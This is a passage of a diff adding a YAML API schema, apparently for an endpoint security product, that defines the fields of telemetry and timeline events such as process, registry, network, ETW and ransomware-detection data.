+        minLength: 1
+        title: Triggers
+        type: string
+      uri:
+        minLength: 1
+        title: Uri
+        type: string
+      user_id:
+        minLength: 1
+        title: User id
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+      uuid:
+        minLength: 1
+        title: Uuid
+        type: string
+      value:
+        minLength: 1
+        title: Value
+        type: string
+      working_directory:
+        minLength: 1
+        title: Working directory
+        type: string
+      wow64:
+        title: Wow64
+        type: boolean
+    required:
+      - '@timestamp'
+      - accountrun
+      - action_type
+      - agent
+      - application_name
+      - arguments
+      - author
+      - binaryinfo
+      - clsid_description
+      - clsid_name
+      - clsid_timestamp
+      - command
+      - comment
+      - controlset
+      - creation_date
+      - description
+      - display_name
+      - dll
+      - dll_main
+      - enabled
+      - filename
+      - fullpathname
+      - hidden
+      - id
+      - image_path
+      - inprochandler
+      - inprochandler32
+      - inprochandler32_timestamp
+      - inprochandler_timestamp
+      - inprocserver
+      - inprocserver32
+      - inprocserver32_timestamp
+      - inprocserver_timestamp
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - lastrun
+      - localserver
+      - localserver32
+      - localserver32_timestamp
+      - localserver_timestamp
+      - location
+      - mainfile_binaryinfo
+      - name
+      - parameter_timestamp
+      - path
+      - principal_id
+      - run_level
+      - security_descriptor
+      - service_name
+      - service_start
+      - service_start_str
+      - service_type
+      - service_type_str
+      - short_name
+      - target_arguments
+      - target_path
+      - task_parameters
+      - tenant
+      - timestamp
+      - treatas
+      - treatas_timestamp
+      - triggers
+      - uri
+      - user_id
+      - username
+      - uuid
+      - value
+      - working_directory
+      - wow64
+    type: object
+  AbstractTimeline:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      access:
+        title: Access
+        type: integer
+      access_str:
+        minLength: 1
+        title: Access str
+        type: string
+      additional_data:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      address:
+        minLength: 1
+        title: Address
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      aggregation_key:
+        minLength: 1
+        title: Aggregation key
+        type: string
+      alert_subtype:
+        minLength: 1
+        title: Alert subtype
+        type: string
+      alert_time:
+        format: date-time
+        title: Alert time
+        type: string
+      alert_type:
+        minLength: 1
+        title: Alert type
+        type: string
+      alert_unique_id:
+        minLength: 1
+        title: Alert unique id
+        type: string
+      ancestors:
+        minLength: 1
+        title: Ancestors
+        type: string
+      app_name:
+        minLength: 1
+        title: App name
+        type: string
+      app_zone_id:
+        minLength: 1
+        title: App zone id
+        type: string
+      application:
+        minLength: 1
+        title: Application
+        type: string
+      auth_status:
+        minLength: 1
+        title: Auth status
+        type: string
+      auth_type:
+        minLength: 1
+        title: Auth type
+        type: string
+      cdhash:
+        minLength: 1
+        title: Cdhash
+        type: string
+      codesigning_flags:
+        title: Codesigning flags
+        type: integer
+      codesigning_flags_str:
+        minLength: 1
+        title: Codesigning flags str
+        type: string
+      comm_port_tamper:
+        $ref: '#/definitions/CommPortTamper'
+      commandline:
+        minLength: 1
+        title: Commandline
+        type: string
+      computer_name:
+        minLength: 1
+        title: Computer name
+        type: string
+      confidence:
+        minLength: 1
+        title: Confidence
+        type: string
+      confidence_int:
+        title: Confidence int
+        type: integer
+      conn_type:
+        title: Conn type
+        type: integer
+      connection_closed_time:
+        format: date-time
+        title: Connection closed time
+        type: string
+      connection_start_time:
+        format: date-time
+        title: Connection start time
+        type: string
+      connection_successful:
+        title: Connection successful
+        type: boolean
+      connection_unique_id:
+        minLength: 1
+        title: Connection unique id
+        type: string
+      consumer:
+        minLength: 1
+        title: Consumer
+        type: string
+      content_name:
+        minLength: 1
+        title: Content name
+        type: string
+      create_disposition:
+        title: Create disposition
+        type: integer
+      create_disposition_str:
+        minLength: 1
+        title: Create disposition str
+        type: string
+      create_options:
+        title: Create options
+        type: integer
+      create_options_str:
+        minLength: 1
+        title: Create options str
+        type: string
+      create_time:
+        format: date-time
+        title: Create time
+        type: string
+      current_directory:
+        minLength: 1
+        title: Current directory
+        type: string
+      daddr:
+        minLength: 1
+        title: Daddr
+        type: string
+      data_string_added:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      data_string_removed:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      date:
+        format: date-time
+        title: Date
+        type: string
+      date_closed:
+        format: date-time
+        title: Date closed
+        type: string
+      date_deisolated:
+        format: date-time
+        title: Date deisolated
+        type: string
+      date_false_positive:
+        format: date-time
+        title: Date false positive
+        type: string
+      date_investigating:
+        format: date-time
+        title: Date investigating
+        type: string
+      date_isolated:
+        format: date-time
+        title: Date isolated
+        type: string
+      date_new:
+        format: date-time
+        title: Date new
+        type: string
+      db_product_name:
+        minLength: 1
+        title: Db product name
+        type: string
+      db_vendor_name:
+        minLength: 1
+        title: Db vendor name
+        type: string
+      desired_access:
+        title: Desired access
+        type: integer
+      desired_access_str:
+        minLength: 1
+        title: Desired access str
+        type: string
+      destination:
+        $ref: '#/definitions/ECSDestination'
+      destination_path:
+        minLength: 1
+        title: Destination path
+        type: string
+      details:
+        minLength: 1
+        title: Details
+        type: string
+      details_amsi_scan:
+        $ref: '#/definitions/DetailAmsiScan'
+      details_connection:
+        $ref: '#/definitions/DetailConnection'
+      details_dns_resolution:
+        $ref: '#/definitions/DetailDnsResolution'
+      details_file:
+        $ref: '#/definitions/DetailFile'
+      details_library:
+        $ref: '#/definitions/DetailLibrary'
+      details_linux_filesystem_event:
+        $ref: '#/definitions/DetailLinuxFilesystemEvent'
+      details_macos_filesystem_event:
+        $ref: '#/definitions/DetailMacosFilesystemEvent'
+      details_named_pipe_connected:
+        $ref: '#/definitions/DetailNamedPipeConnected'
+      details_named_pipe_created:
+        $ref: '#/definitions/DetailNamedPipeCreated'
+      details_network_listen:
+        $ref: '#/definitions/DetailNetworkListen'
+      details_powershell:
+        $ref: '#/definitions/DetailPowershell'
+      details_primary_token_change:
+        $ref: '#/definitions/DetailPrimaryTokenChange'
+      details_process_access:
+        $ref: '#/definitions/DetailProcessAccess'
+      details_process_tamper:
+        $ref: '#/definitions/DetailProcessTamper'
+      details_raw_device_access:
+        $ref: '#/definitions/DetailRawDeviceAccess'
+      details_raw_socket_creation:
+        $ref: '#/definitions/DetailRawSocketCreation'
+      details_registry:
+        $ref: '#/definitions/DetailRegistry'
+      details_remotethread:
+        $ref: '#/definitions/DetailRemoteThread'
+      details_url_request:
+        $ref: '#/definitions/DetailUrlRequest'
+      details_usb_device:
+        $ref: '#/definitions/DetailsUsbDeviceEvent'
+      details_windows_filesystem_event:
+        $ref: '#/definitions/DetailWindowsFilesystemEvent'
+      detection_date:
+        format: date-time
+        title: Detection date
+        type: string
+      detection_origin:
+        minLength: 1
+        title: Detection origin
+        type: string
+      detection_timestamp:
+        format: date-time
+        title: Detection timestamp
+        type: string
+      device_class:
+        minLength: 1
+        title: Device class
+        type: string
+      device_name:
+        minLength: 1
+        title: Device name
+        type: string
+      device_product_name:
+        minLength: 1
+        title: Device product name
+        type: string
+      device_protocol:
+        minLength: 1
+        title: Device protocol
+        type: string
+      device_subclass:
+        minLength: 1
+        title: Device subclass
+        type: string
+      device_vendor_name:
+        minLength: 1
+        title: Device vendor name
+        type: string
+      direction:
+        minLength: 1
+        title: Direction
+        type: string
+      dnames:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      dport:
+        title: Dport
+        type: integer
+      driverload:
+        $ref: '#/definitions/InnerDriverLoad'
+      dse_tamper:
+        $ref: '#/definitions/DseTamper'
+      egid:
+        title: Egid
+        type: integer
+      egroup:
+        minLength: 1
+        title: Egroup
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      error_msg:
+        minLength: 1
+        title: Error msg
+        type: string
+      etw_ti_ke_insert_queue_apc:
+        $ref: '#/definitions/ECSEtwTiKeInsertQueueApc'
+      etw_ti_nt_allocate_virtual_memory:
+        $ref: '#/definitions/ECSEtwTiNtAllocateVirtualMemory'
+      etw_ti_nt_map_view_of_section:
+        $ref: '#/definitions/ECSEtwTiNtMapViewOfSection'
+      etw_ti_nt_protect_virtual_memory:
+        $ref: '#/definitions/ECSEtwTiNtProtectVirtualMemory'
+      etw_ti_nt_read_virtual_memory:
+        $ref: '#/definitions/ECSEtwTiNtReadWriteVirtualMemory'
+      etw_ti_nt_set_context_thread:
+        $ref: '#/definitions/ECSEtwTiNtSetContextThread'
+      etw_ti_nt_write_virtual_memory:
+        $ref: '#/definitions/ECSEtwTiNtReadWriteVirtualMemory'
+      euid:
+        title: Euid
+        type: integer
+      eusername:
+        minLength: 1
+        title: Eusername
+        type: string
+      event_date:
+        format: date-time
+        title: Event date
+        type: string
+      event_id:
+        title: Event id
+        type: integer
+      event_path:
+        minLength: 1
+        title: Event path
+        type: string
+      event_session:
+        $ref: '#/definitions/SessionInfo'
+      event_type:
+        minLength: 1
+        title: Event type
+        type: string
+      eventlog:
+        $ref: '#/definitions/InnerEventLog'
+      execution:
+        title: Execution
+        type: integer
+      fake_parent_commandline:
+        minLength: 1
+        title: Fake parent commandline
+        type: string
+      fake_parent_image:
+        minLength: 1
+        title: Fake parent image
+        type: string
+      fake_parent_unique_id:
+        minLength: 1
+        title: Fake parent unique id
+        type: string
+      fake_ppid:
+        title: Fake ppid
+        type: integer
+      family:
+        title: Family
+        type: integer
+      favorite_id:
+        format: uuid
+        title: Favorite id
+        type: string
+        x-nullable: true
+      filter:
+        minLength: 1
+        title: Filter
+        type: string
+      first_bytes:
+        minLength: 1
+        title: First bytes
+        type: string
+      gid:
+        title: Gid
+        type: integer
+      grandparent_commandline:
+        minLength: 1
+        title: Grandparent commandline
+        type: string
+      grandparent_image:
+        minLength: 1
+        title: Grandparent image
+        type: string
+      grandparent_integrity_level:
+        minLength: 1
+        title: Grandparent integrity level
+        type: string
+      grandparent_unique_id:
+        minLength: 1
+        title: Grandparent unique id
+        type: string
+      group:
+        minLength: 1
+        title: Group
+        type: string
+      group_event:
+        $ref: '#/definitions/InnerGroupEvent'
+      group_id:
+        minLength: 1
+        title: Group id
+        type: string
+      group_name:
+        minLength: 1
+        title: Group name
+        type: string
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      hash:
+        title: Hash
+        type: integer
+      hashes:
+        $ref: '#/definitions/Hashes'
+      hive_path:
+        minLength: 1
+        title: Hive path
+        type: string
+      hlai_binaries_benchmark_data:
+        $ref: '#/definitions/HlaiBinariesBenchmarkData'
+      hlai_scripts_benchmark_data:
+        $ref: '#/definitions/HlaiScriptsBenchmarkData'
+      host:
+        minLength: 1
+        title: Host
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      image_base:
+        title: Image base
+        type: integer
+      image_base_address:
+        title: Image base address
+        type: integer
+      image_name:
+        minLength: 1
+        title: Image name
+        type: string
+      imagebase:
+        title: Imagebase
+        type: integer
+      imagename:
+        minLength: 1
+        title: Imagename
+        type: string
+      imagepath:
+        minLength: 1
+        title: Imagepath
+        type: string
+      imagesize:
+        title: Imagesize
+        type: integer
+      inbound_quota:
+        title: Inbound quota
+        type: integer
+      incoming_bytes:
+        title: Incoming bytes
+        type: integer
+      incomplete:
+        title: Incomplete
+        type: boolean
+      ingestion_date:
+        format: date-time
+        title: Ingestion date
+        type: string
+      initiated:
+        title: Initiated
+        type: boolean
+      integrity_level:
+        minLength: 1
+        title: Integrity level
+        type: string
+      ip_addresses:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      is_ipv6:
+        title: Is ipv6
+        type: boolean
+      is_platform_binary:
+        title: Is platform binary
+        type: boolean
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      kernel_callback:
+        $ref: '#/definitions/KernelCallback'
+      keywords:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      kind:
+        minLength: 1
+        title: Kind
+        type: string
+      last_modifier_id:
+        title: Last modifier id
+        type: integer
+      last_seen:
+        format: date-time
+        title: Last seen
+        type: string
+      last_status_update_is_automatic:
+        title: Last status update is automatic
+        type: boolean
+      last_update:
+        format: date-time
+        title: Last update
+        type: string
+      last_writer_package_family_name:
+        minLength: 1
+        title: Last writer package family name
+        type: string
+      level:
+        minLength: 1
+        title: Level
+        type: string
+      level_int:
+        title: Level int
+        type: integer
+      library_path:
+        minLength: 1
+        title: Library path
+        type: string
+      library_type:
+        minLength: 1
+        title: Library type
+        type: string
+      linux:
+        $ref: '#/definitions/AuthenticationLoginLinux'
+      log_name:
+        minLength: 1
+        title: Log name
+        type: string
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      logonid:
+        title: Logonid
+        type: integer
+      macos:
+        $ref: '#/definitions/AuthenticationLoginMacos'
+      maturity:
+        minLength: 1
+        title: Maturity
+        type: string
+      maximum_instances:
+        title: Maximum instances
+        type: integer
+      member_id:
+        minLength: 1
+        title: Member id
+        type: string
+      member_name:
+        minLength: 1
+        title: Member name
+        type: string
+      memfd_name:
+        minLength: 1
+        title: Memfd name
+        type: string
+      method:
+        minLength: 1
+        title: Method
+        type: string
+      missing_related_process:
+        title: Missing related process
+        type: boolean
+      mitre_cells:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      mode:
+        title: Mode
+        type: integer
+      mode_str:
+        minLength: 1
+        title: Mode str
+        type: string
+      msg:
+        minLength: 1
+        title: Msg
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      named_pipe_type:
+        title: Named pipe type
+        type: integer
+      namespace:
+        minLength: 1
+        title: Namespace
+        type: string
+      network:
+        $ref: '#/definitions/InnerNetwork'
+      new_name:
+        minLength: 1
+        title: New name
+        type: string
+      new_thread_id:
+        title: New thread id
+        type: integer
+      new_user_name:
+        minLength: 1
+        title: New user name
+        type: string
+      object_type:
+        minLength: 1
+        title: Object type
+        type: string
+      old_mode:
+        title: Old mode
+        type: integer
+      old_mode_str:
+        minLength: 1
+        title: Old mode str
+        type: string
+      operation:
+        minLength: 1
+        title: Operation
+        type: string
+      operation_type:
+        minLength: 1
+        title: Operation type
+        type: string
+      outbound_quota:
+        title: Outbound quota
+        type: integer
+      outgoing_bytes:
+        title: Outgoing bytes
+        type: integer
+      parent_commandline:
+        minLength: 1
+        title: Parent commandline
+        type: string
+      parent_image:
+        minLength: 1
+        title: Parent image
+        type: string
+      parent_integrity_level:
+        minLength: 1
+        title: Parent integrity level
+        type: string
+      parent_unique_id:
+        minLength: 1
+        title: Parent unique id
+        type: string
+      password:
+        minLength: 1
+        title: Password
+        type: string
+      path:
+        minLength: 1
+        title: Path
+        type: string
+      pe_imphash:
+        minLength: 1
+        title: Pe imphash
+        type: string
+      pe_info:
+        $ref: '#/definitions/PEInfo'
+      pe_timestamp:
+        format: date-time
+        title: Pe timestamp
+        type: string
+      pe_timestamp_int:
+        title: Pe timestamp int
+        type: integer
+      pid:
+        title: Pid
+        type: integer
+      pipe_name:
+        minLength: 1
+        title: Pipe name
+        type: string
+      pipe_operation:
+        minLength: 1
+        title: Pipe operation
+        type: string
+      platform:
+        minLength: 1
+        title: Platform
+        type: string
+      port:
+        title: Port
+        type: integer
+      ppid:
+        title: Ppid
+        type: integer
+      previous_details:
+        minLength: 1
+        title: Previous details
+        type: string
+      process:
+        $ref: '#/definitions/InnerProcess'
+      process_commandline:
+        minLength: 1
+        title: Process commandline
+        type: string
+      process_duplicate_handle:
+        $ref: '#/definitions/ECSProcessDuplicateHandle'
+      process_entrypoint_file:
+        minLength: 1
+        title: Process entrypoint file
+        type: string
+      process_entrypoint_memory:
+        minLength: 1
+        title: Process entrypoint memory
+        type: string
+      process_header_file:
+        minLength: 1
+        title: Process header file
+        type: string
+      process_header_memory:
+        minLength: 1
+        title: Process header memory
+        type: string
+      process_id:
+        title: Process id
+        type: integer
+      process_image_path:
+        minLength: 1
+        title: Process image path
+        type: string
+      process_imagename:
+        minLength: 1
+        title: Process imagename
+        type: string
+      process_name:
+        minLength: 1
+        title: Process name
+        type: string
+      process_ptrace:
+        $ref: '#/definitions/ECSProcessPtrace'
+      process_session:
+        $ref: '#/definitions/SessionInfo'
+      process_unique_id:
+        minLength: 1
+        title: Process unique id
+        type: string
+      product_id:
+        minLength: 1
+        title: Product id
+        type: string
+      product_name:
+        minLength: 1
+        title: Product name
+        type: string
+      protocol:
+        title: Protocol
+        type: integer
+      provider_guid:
+        minLength: 1
+        title: Provider guid
+        type: string
+      quarantine:
+        title: Quarantine
+        type: integer
+      query:
+        minLength: 1
+        title: Query
+        type: string
+      query_params:
+        minLength: 1
+        title: Query params
+        type: string
+      query_type:
+        minLength: 1
+        title: Query type
+        type: string
+      ransomguard_canary_data:
+        $ref: '#/definitions/RansomguardCanaryData'
+      ransomguard_detection_type:
+        minLength: 1
+        title: Ransomguard detection type
+        type: string
+      ransomguard_heuristic_data:
+        $ref: '#/definitions/RansomguardHeuristicData'
+      record_number:
+        title: Record number
+        type: integer
+      references:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      referrer_url:
+        minLength: 1
+        title: Referrer url
+        type: string
+      region_allocation_base:
+        title: Region allocation base
+        type: integer
+      region_allocation_protect:
+        title: Region allocation protect
+        type: integer
+      region_allocation_size:
+        title: Region allocation size
+        type: integer
+      region_base_address:
+        title: Region base address
+        type: integer
+      region_dump:
+        minLength: 1
+        title: Region dump
+        type: string
+      region_dump_base:
+        title: Region dump base
+        type: integer
+      region_protect:
+        title: Region protect
+        type: integer
+      region_sha256:
+        minLength: 1
+        title: Region sha256
+        type: string
+      region_size:
+        title: Region size
+        type: integer
+      region_state:
+        title: Region state
+        type: integer
+      region_type:
+        title: Region type
+        type: integer
+      registry_value_type:
+        minLength: 1
+        title: Registry value type
+        type: string
+      requested_name:
+        minLength: 1
+        title: Requested name
+        type: string
+      rule_content:
+        minLength: 1
+        title: Rule content
+        type: string
+      rule_id:
+        minLength: 1
+        title: Rule id
+        type: string
+      rule_name:
+        minLength: 1
+        title: Rule name
+        type: string
+      saddr:
+        minLength: 1
+        title: Saddr
+        type: string
+      scheduled_task:
+        $ref: '#/definitions/ECSScheduledTask'
+      scheme:
+        minLength: 1
+        title: Scheme
+        type: string
+      score:
+        title: Score
+        type: number
+      script_block:
+        minLength: 1
+        title: Script block
+        type: string
+      script_path:
+        minLength: 1
+        title: Script path
+        type: string
+      serial_number:
+        minLength: 1
+        title: Serial number
+        type: string
+      session:
+        title: Session
+        type: integer
+      sgid:
+        title: Sgid
+        type: integer
+      sgroup:
+        minLength: 1
+        title: Sgroup
+        type: string
+      sha256:
+        minLength: 1
+        title: Sha256
+        type: string
+      sidewatch_detection_details:
+        $ref: '#/definitions/SidewatchDetectionDetails'
+      signature_info:
+        $ref: '#/definitions/SignatureInfo'
+      signed:
+        title: Signed
+        type: boolean
+      size:
+        title: Size
+        type: integer
+      sock_type:
+        title: Sock type
+        type: integer
+      source:
+        $ref: '#/definitions/ECSSource'
+      source_address:
+        minLength: 1
+        title: Source address
+        type: string
+      source_agent_hostname:
+        minLength: 1
+        title: Source agent hostname
+        type: string
+      source_agent_id:
+        minLength: 1
+        title: Source agent id
+        type: string
+      source_domain:
+        minLength: 1
+        title: Source domain
+        type: string
+      source_domain_name:
+        minLength: 1
+        title: Source domain name
+        type: string
+      source_image:
+        minLength: 1
+        title: Source image
+        type: string
+      source_ip_address:
+        minLength: 1
+        title: Source ip address
+        type: string
+      source_name:
+        minLength: 1
+        title: Source name
+        type: string
+      source_process_guid:
+        minLength: 1
+        title: Source process guid
+        type: string
+      source_process_id:
+        title: Source process id
+        type: integer
+      source_process_unique_id:
+        minLength: 1
+        title: Source process unique id
+        type: string
+      source_thread_id:
+        title: Source thread id
+        type: integer
+      source_tid:
+        title: Source tid
+        type: integer
+      source_url:
+        minLength: 1
+        title: Source url
+        type: string
+      source_user:
+        minLength: 1
+        title: Source user
+        type: string
+      source_user_id:
+        minLength: 1
+        title: Source user id
+        type: string
+      source_user_name:
+        minLength: 1
+        title: Source user name
+        type: string
+      source_username:
+        minLength: 1
+        title: Source username
+        type: string
+      sport:
+        title: Sport
+        type: integer
+      stack_trace:
+        $ref: '#/definitions/ECSStackTrace'
+      stacktrace:
+        minLength: 1
+        title: Stacktrace
+        type: string
+      stacktrace_full:
+        minLength: 1
+        title: Stacktrace full
+        type: string
+      stacktrace_minimal:
+        minLength: 1
+        title: Stacktrace minimal
+        type: string
+      start_address:
+        title: Start address
+        type: integer
+      start_address_string:
+        minLength: 1
+        title: Start address string
+        type: string
+      start_function:
+        minLength: 1
+        title: Start function
+        type: string
+      start_module:
+        minLength: 1
+        title: Start module
+        type: string
+      start_module_base:
+        title: Start module base
+        type: integer
+      status:
+        minLength: 1
+        title: Status
+        type: string
+      status_msg:
+        minLength: 1
+        title: Status msg
+        type: string
+      success:
+        title: Success
+        type: boolean
+      suid:
+        title: Suid
+        type: integer
+      susername:
+        minLength: 1
+        title: Susername
+        type: string
+      tactic:
+        minLength: 1
+        title: Tactic
+        type: string
+      tags:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      tamper_flag:
+        title: Tamper flag
+        type: integer
+      tamper_flag_as_str:
+        minLength: 1
+        title: Tamper flag as str
+        type: string
+      target:
+        $ref: '#/definitions/ECSTarget'
+      target_domain:
+        minLength: 1
+        title: Target domain
+        type: string
+      target_domain_name:
+        minLength: 1
+        title: Target domain name
+        type: string
+      target_image:
+        minLength: 1
+        title: Target image
+        type: string
+      target_object:
+        minLength: 1
+        title: Target object
+        type: string
+      target_process_guid:
+        minLength: 1
+        title: Target process guid
+        type: string
+      target_process_id:
+        title: Target process id
+        type: integer
+      target_process_unique_id:
+        minLength: 1
+        title: Target process unique id
+        type: string
+      target_thread_id:
+        title: Target thread id
+        type: integer
+      target_user:
+        minLength: 1
+        title: Target user
+        type: string
+      target_user_id:
+        minLength: 1
+        title: Target user id
+        type: string
+      target_user_name:
+        minLength: 1
+        title: Target user name
+        type: string
+      target_username:
+        minLength: 1
+        title: Target username
+        type: string
+      technique:
+        minLength: 1
+        title: Technique
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      text_payload:
+        minLength: 1
+        title: Text payload
+        type: string
+      text_records:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      thread:
+        $ref: '#/definitions/InnerInjectedThread'
+      thread_dump:
+        minLength: 1
+        title: Thread dump
+        type: string
+      thread_id:
+        title: Thread id
+        type: integer
+      thread_sha256:
+        minLength: 1
+        title: Thread sha256
+        type: string
+      threat_key:
+        minLength: 1
+        title: Threat key
+        type: string
+      threat_type:
+        minLength: 1
+        title: Threat type
+        type: string
+      threat_values:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      tid:
+        title: Tid
+        type: integer
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+      transport_protocol:
+        minLength: 1
+        title: Transport protocol
+        type: string
+      transport_protocol_number:
+        title: Transport protocol number
+        type: integer
+      type:
+        minLength: 1
+        title: Type
+        type: string
+      uid:
+        title: Uid
+        type: integer
+      url:
+        minLength: 1
+        title: Url
+        type: string
+      url_zone:
+        minLength: 1
+        title: Url zone
+        type: string
+      user:
+        $ref: '#/definitions/EventUser'
+      user_agent:
+        minLength: 1
+        title: User agent
+        type: string
+      user_event:
+        $ref: '#/definitions/InnerUserEvent'
+      user_name:
+        minLength: 1
+        title: User name
+        type: string
+      user_sid:
+        minLength: 1
+        title: User sid
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+      usersid:
+        minLength: 1
+        title: Usersid
+        type: string
+      utc_time:
+        format: date-time
+        title: Utc time
+        type: string
+      vendor_id:
+        minLength: 1
+        title: Vendor id
+        type: string
+      vendor_name:
+        minLength: 1
+        title: Vendor name
+        type: string
+      whitelisted_by:
+        items:
+          $ref: '#/definitions/WhitelistedByData'
+        type: array
+      win32k_get_async_key_state:
+        $ref: '#/definitions/ECSWin32kGetAsyncKeyState'
+      win32k_register_raw_input_devices:
+        $ref: '#/definitions/ECSWin32kRegisterRawInputDevices'
+      win32k_set_windows_hook_ex:
+        $ref: '#/definitions/ECSWin32kSetWindowsHookEx'
+      windows:
+        $ref: '#/definitions/AuthenticationLoginWindows'
+      windows_service:
+        $ref: '#/definitions/ECSWindowsService'
+      wmi_event:
+        $ref: '#/definitions/WmiEvent'
+      written_file_size:
+        title: Written file size
+        type: integer
+      zone_id:
+        title: Zone id
+        type: integer
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - access
+      - access_str
+      - additional_data
+      - address
+      - agent
+      - aggregation_key
+      - alert_subtype
+      - alert_time
+      - alert_type
+      - alert_unique_id
+      - ancestors
+      - app_name
+      - app_zone_id
+      - application
+      - auth_status
+      - auth_type
+      - cdhash
+      - codesigning_flags
+      - codesigning_flags_str
+      - comm_port_tamper
+      - commandline
+      - computer_name
+      - confidence
+      - confidence_int
+      - conn_type
+      - connection_closed_time
+      - connection_start_time
+      - connection_successful
+      - connection_unique_id
+      - consumer
+      - content_name
+      - create_disposition
+      - create_disposition_str
+      - create_options
+      - create_options_str
+      - create_time
+      - current_directory
+      - daddr
+      - data_string_added
+      - data_string_removed
+      - date_closed
+      - date_deisolated
+      - date_false_positive
+      - date_investigating
+      - date_isolated
+      - date_new
+      - db_product_name
+      - db_vendor_name
+      - desired_access
+      - desired_access_str
+      - destination
+      - destination_path
+      - details
+      - details_amsi_scan
+      - details_connection
+      - details_dns_resolution
+      - details_file
+      - details_library
+      - details_linux_filesystem_event
+      - details_macos_filesystem_event
+      - details_named_pipe_connected
+      - details_named_pipe_created
+      - details_network_listen
+      - details_powershell
+      - details_primary_token_change
+      - details_process_access
+      - details_process_tamper
+      - details_raw_device_access
+      - details_raw_socket_creation
+      - details_registry
+      - details_remotethread
+      - details_url_request
+      - details_usb_device
+      - details_windows_filesystem_event
+      - detection_date
+      - detection_origin
+      - detection_timestamp
+      - device_class
+      - device_name
+      - device_product_name
+      - device_protocol
+      - device_subclass
+      - device_vendor_name
+      - direction
+      - dnames
+      - dport
+      - driverload
+      - dse_tamper
+      - egid
+      - egroup
+      - enabled
+      - error_msg
+      - etw_ti_ke_insert_queue_apc
+      - etw_ti_nt_allocate_virtual_memory
+      - etw_ti_nt_map_view_of_section
+      - etw_ti_nt_protect_virtual_memory
+      - etw_ti_nt_read_virtual_memory
+      - etw_ti_nt_set_context_thread
+      - etw_ti_nt_write_virtual_memory
+      - euid
+      - eusername
+      - event_date
+      - event_id
+      - event_path
+      - event_type
+      - eventlog
+      - execution
+      - fake_parent_commandline
+      - fake_parent_image
+      - fake_parent_unique_id
+      - fake_ppid
+      - family
+      - favorite_id
+      - filter
+      - first_bytes
+      - gid
+      - grandparent_commandline
+      - grandparent_image
+      - grandparent_integrity_level
+      - grandparent_unique_id
+      - group
+      - group_event
+      - group_id
+      - group_name
+      - groups
+      - hash
+      - hashes
+      - hive_path
+      - hlai_binaries_benchmark_data
+      - hlai_scripts_benchmark_data
+      - host
+      - id
+      - image_base
+      - image_base_address
+      - image_name
+      - imagebase
+      - imagename
+      - imagepath
+      - imagesize
+      - inbound_quota
+      - incoming_bytes
+      - incomplete
+      - ingestion_date
+      - initiated
+      - integrity_level
+      - ip_addresses
+      - is_ipv6
+      - is_platform_binary
+      - job_id
+      - kernel_callback
+      - keywords
+      - kind
+      - last_modifier_id
+      - last_seen
+      - last_status_update_is_automatic
+      - last_update
+      - last_writer_package_family_name
+      - level
+      - level_int
+      - library_path
+      - library_type
+      - linux
+      - log_name
+      - log_type
+      - logonid
+      - macos
+      - maturity
+      - maximum_instances
+      - member_id
+      - member_name
+      - memfd_name
+      - method
+      - missing_related_process
+      - mitre_cells
+      - mode
+      - mode_str
+      - msg
+      - name
+      - named_pipe_type
+      - namespace
+      - network
+      - new_name
+      - new_thread_id
+      - new_user_name
+      - object_type
+      - old_mode
+      - old_mode_str
+      - operation
+      - operation_type
+      - outbound_quota
+      - outgoing_bytes
+      - parent_commandline
+      - parent_image
+      - parent_integrity_level
+      - parent_unique_id
+      - password
+      - path
+      - pe_imphash
+      - pe_info
+      - pe_timestamp
+      - pe_timestamp_int
+      - pid
+      - pipe_name
+      - pipe_operation
+      - platform
+      - port
+      - ppid
+      - previous_details
+      - process
+      - process_commandline
+      - process_duplicate_handle
+      - process_entrypoint_file
+      - process_entrypoint_memory
+      - process_header_file
+      - process_header_memory
+      - process_id
+      - process_image_path
+      - process_imagename
+      - process_name
+      - process_ptrace
+      - process_unique_id
+      - product_id
+      - product_name
+      - protocol
+      - provider_guid
+      - quarantine
+      - query
+      - query_params
+      - query_type
+      - ransomguard_canary_data
+      - ransomguard_detection_type
+      - ransomguard_heuristic_data
+      - record_number
+      - references
+      - referrer_url
+      - region_allocation_base
+      - region_allocation_protect
+      - region_allocation_size
+      - region_base_address
+      - region_dump
+      - region_dump_base
+      - region_protect
+      - region_sha256
+      - region_size
+      - region_state
+      - region_type
+      - registry_value_type
+      - requested_name
+      - rule_content
+      - rule_id
+      - rule_name
+      - saddr
+      - scheduled_task
+      - scheme
+      - score
+      - script_block
+      - script_path
+      - serial_number
+      - session
+      - sgid
+      - sgroup
+      - sha256
+      - signature_info
+      - signed
+      - size
+      - sock_type
+      - source
+      - source_address
+      - source_agent_hostname
+      - source_agent_id
+      - source_domain
+      - source_domain_name
+      - source_image
+      - source_ip_address
+      - source_name
+      - source_process_guid
+      - source_process_id
+      - source_process_unique_id
+      - source_thread_id
+      - source_tid
+      - source_url
+      - source_user
+      - source_user_id
+      - source_user_name
+      - source_username
+      - sport
+      - stack_trace
+      - stacktrace
+      - stacktrace_full
+      - stacktrace_minimal
+      - start_address
+      - start_address_string
+      - start_function
+      - start_module
+      - start_module_base
+      - status
+      - status_msg
+      - success
+      - suid
+      - susername
+      - tactic
+      - tags
+      - tamper_flag
+      - tamper_flag_as_str
+      - target
+      - target_domain
